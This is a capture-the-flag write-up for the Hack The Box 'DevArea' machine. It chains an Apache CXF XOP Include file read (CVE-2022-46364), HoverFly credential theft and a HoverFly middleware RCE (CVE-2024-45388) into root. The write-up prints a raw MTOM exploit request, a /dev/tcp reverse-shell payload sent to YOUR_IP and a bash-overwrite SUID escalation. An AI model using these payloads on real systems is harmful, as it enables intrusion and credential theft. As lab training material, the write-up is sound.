XOP Include SSRF via CVE-2022-46364 on an Apache CXF SOAP service to read files as dev_ryan, leaking HoverFly credentials — then RCE through CVE-2024-45388 to gain a reverse shell, followed by a syswatch-based bash overwrite for root.
We kick things off with a standard nmap service scan. The target exposes 6 ports — a richer attack surface than usual.
$ nmap -sV -sC devarea.htb Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-31 15:29 CEST Nmap scan report for devarea.htb (10.129.20.157) Host is up (0.073s latency). Not shown: 994 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.5 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_drwxr-xr-x 2 ftp ftp 4096 Sep 22 2025 pub 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 80/tcp open http Apache httpd 2.4.58 |_http-title: DevArea - Connect with Top Development Talent 8080/tcp open http Jetty 9.4.27.v20200227 |_http-title: Error 404 Not Found 8500/tcp open http Golang net/http server |_ This is a proxy server. Does not respond to non-proxy requests. 8888/tcp open http Golang net/http server |_http-title: Hoverfly Dashboard Nmap done: 1 IP address (1 host up) scanned in 36.78 seconds
Several services stand out immediately:
pub/ directory.Anonymous FTP gives us access to a JAR file. We download it and decompile it with jadx.
$ ftp devarea.htb Connected to devarea.htb. 220 (vsFTPd 3.0.5) Name (devarea.htb:tomatobuster): anonymous 230 Login successful. ftp> cd pub ftp> binary ftp> mget * mget employee-service.jar? 150 Opening BINARY mode data connection for employee-service.jar (6445030 bytes). 226 Transfer complete. 6445030 bytes received in 2.34 seconds
$ jadx employee-service.jar $ cat employee-service/sources/htb/devarea/ServerStarter.java package htb.devarea; import org.apache.cxf.jaxws.JaxWsServerFactoryBean; public class ServerStarter { public static void main(String[] args) { JaxWsServerFactoryBean factory = new JaxWsServerFactoryBean(); factory.setServiceClass(EmployeeService.class); factory.setServiceBean(new EmployeeServiceImpl()); factory.setAddress("http://0.0.0.0:8080/employeeservice"); factory.create(); System.out.println("Employee Service running at http://localhost:8080/employeeservice"); System.out.println("WSDL available at http://localhost:8080/employeeservice?wsdl"); } }
http://devarea.htb:8080/employeeservice. Old CXF versions resolve XOP Include URIs without scheme validation — this is now a clear target.
Googling the CXF version leads us straight to CVE-2022-46364. The SOAP endpoint processes MTOM multipart requests with xop:Include elements without validating the URI scheme. This is not classic XXE — it abuses XOP Includes inside MTOM multipart requests, which CXF resolves server-side and embeds into the response. The result is an unauthenticated SSRF with arbitrary file read.
xop:Include elements with an href attribute. Apache CXF processes these href URIs server-side to assemble the message. In vulnerable versions, CXF never validates that the URI scheme is safe, so href="file:///etc/passwd" is resolved just as willingly as a legitimate attachment URI. The file contents are then base64-encoded and returned inside the SOAP response body.
| CVE | Service | Version | Impact | Severity |
|---|---|---|---|---|
CVE-2022-46364 |
Apache CXF (SOAP/MTOM) | ≤ 3.5.2 / ≤ 3.4.9 | SSRF / File Read — arbitrary files readable via XOP Include href in MTOM SOAP request | HIGH |
We use the public PoC from kasem545/CVE-2022-46364-Poc. The script crafts a multipart SOAP envelope with an xop:Include pointing to a local file path. The raw request looks like this:
POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
Content-Type: multipart/related; type="application/xop+xml";
start="root@example.com";
boundary="----=_Part_0_12345";
start-info="text/xml"
------=_Part_0_12345
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-ID: root@example.com;
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:dev="http://devarea.htb/"
xmlns:xop="http://www.w3.org/2004/08/xop/include">
<soapenv:Body>
<dev:submitReport>
<arg0>
<content>
<xop:Include href="file:///etc/systemd/system/hoverfly.service"/>
</content>
</arg0>
</dev:submitReport>
</soapenv:Body>
</soapenv:Envelope>
------=_Part_0_12345--
The server responds with a SOAP envelope containing the file contents as a base64-encoded string inside the <return> element. Decode it to read the file:
$ python3 CVE-2022-46364.py \ -t http://devarea.htb:8080/employeeservice \ -s file:///etc/passwd \ -d devarea.htb root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... dev_ryan:x:1001:1001::/home/dev_ryan:/bin/bash
xop:Include URIs are resolved before the application logic even sees the request. Since CXF in vulnerable versions trusts all URI schemes including file://, there is no exploit complexity — just craft the multipart boundary, embed the include, and read the response.
The systemd unit file for HoverFly reveals its startup command — complete with hardcoded credentials passed as CLI arguments.
$ python3 CVE-2022-46364.py \
-t http://devarea.htb:8080/employeeservice \
-s file:///etc/systemd/system/hoverfly.service \
-d devarea.htb
[Unit]
Description=HoverFly service
After=network.target
[Service]
User=dev_ryan
Group=dev_ryan
WorkingDirectory=/opt/HoverFly
ExecStart=/opt/HoverFly/hoverfly -add -username REDACTED -password REDACTED -listen-on-host 0.0.0.0
Restart=on-failure
RestartSec=5
StartLimitIntervalSec=60
StartLimitBurst=5
LimitNOFILE=65536
[Install]
WantedBy=multi-user.target
We log in to the HoverFly Dashboard at http://devarea.htb:8888 using the leaked credentials — it works. We now have an authenticated session on the HoverFly admin panel.
A quick CVE search for HoverFly turns up CVE-2024-45388. The vulnerability lies in the /api/v2/hoverfly/middleware endpoint: an authenticated user can set an arbitrary binary and inline script, achieving full RCE.
| CVE | Service | Impact | Severity |
|---|---|---|---|
CVE-2024-45388 |
HoverFly (middleware API) | Authenticated RCE via /api/v2/hoverfly/middleware |
CRITICAL |
$ ncat -lvp 4444 Ncat: Version 7.95 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444
After logging in to the HoverFly dashboard, open the browser DevTools → Network tab, inspect any API request, and copy the Authorization: Bearer <token> header value.
We PUT our reverse shell script to the middleware endpoint. HoverFly will execute this binary + script for every proxied request — but only once we switch modes and trigger it.
$ curl -s -X PUT http://devarea.htb:8888/api/v2/hoverfly/middleware \ -H "Authorization: Bearer <token>" \ -H "Content-Type: application/json" \ -d '{ "binary": "bash", "script": "#!/bin/bash\nbash -i >& /dev/tcp/YOUR_IP/4444 0>&1" }'
Ncat: Connection from 10.129.20.157. Ncat: Connection from 10.129.20.157:42198. dev_ryan@devarea:~$
We have a shell as dev_ryan. The user flag is in the home directory.
dev_ryan@devarea:~$ cat user.txt HTB{REDACTED}
Running linpeas.sh reveals a syswatch.zip in the home directory and a script at /opt/syswatch/syswatch.sh that calls /usr/bin/bash and can be run with sudo. The plan: overwrite /usr/bin/bash with a fake script that creates a SUID root copy of the real bash.
dev_ryan@devarea:~$ cp /usr/bin/bash /tmp/bash.bak dev_ryan@devarea:~$ chmod +x /tmp/bash.bak
We need to free /usr/bin/bash before overwriting it. Switching to sh first ensures our session survives killall bash.
dev_ryan@devarea:~$ sh $ killall bash $ lsof /usr/bin/bash (no output — file is free)
The fake script uses our backup bash as the interpreter and, when executed, copies it to /tmp/rootbash with the SUID bit set.
$ cat > /usr/bin/bash << 'EOF' #!/tmp/bash.bak cp /tmp/bash.bak /tmp/rootbash chmod 4755 /tmp/rootbash EOF
$ sudo /opt/syswatch/syswatch.sh status (syswatch calls /usr/bin/bash — our fake script runs as root) $ ls -la /tmp/rootbash -rwsr-xr-x 1 root root 1396520 Mar 31 16:11 /tmp/rootbash
$ /tmp/rootbash -p rootbash-5.2#
syswatch.sh calls /usr/bin/bash as root via sudo. By replacing that binary with our own script — and using the backup real bash as the shebang interpreter — the script runs with root privileges and produces a SUID binary we control. The -p flag tells bash to preserve the effective UID instead of dropping it.
With an effective root shell, we navigate to /root and grab the final flag.
rootbash-5.2# cd /root rootbash-5.2# ls root.txt rootbash-5.2# cat root.txt HTB{REDACTED}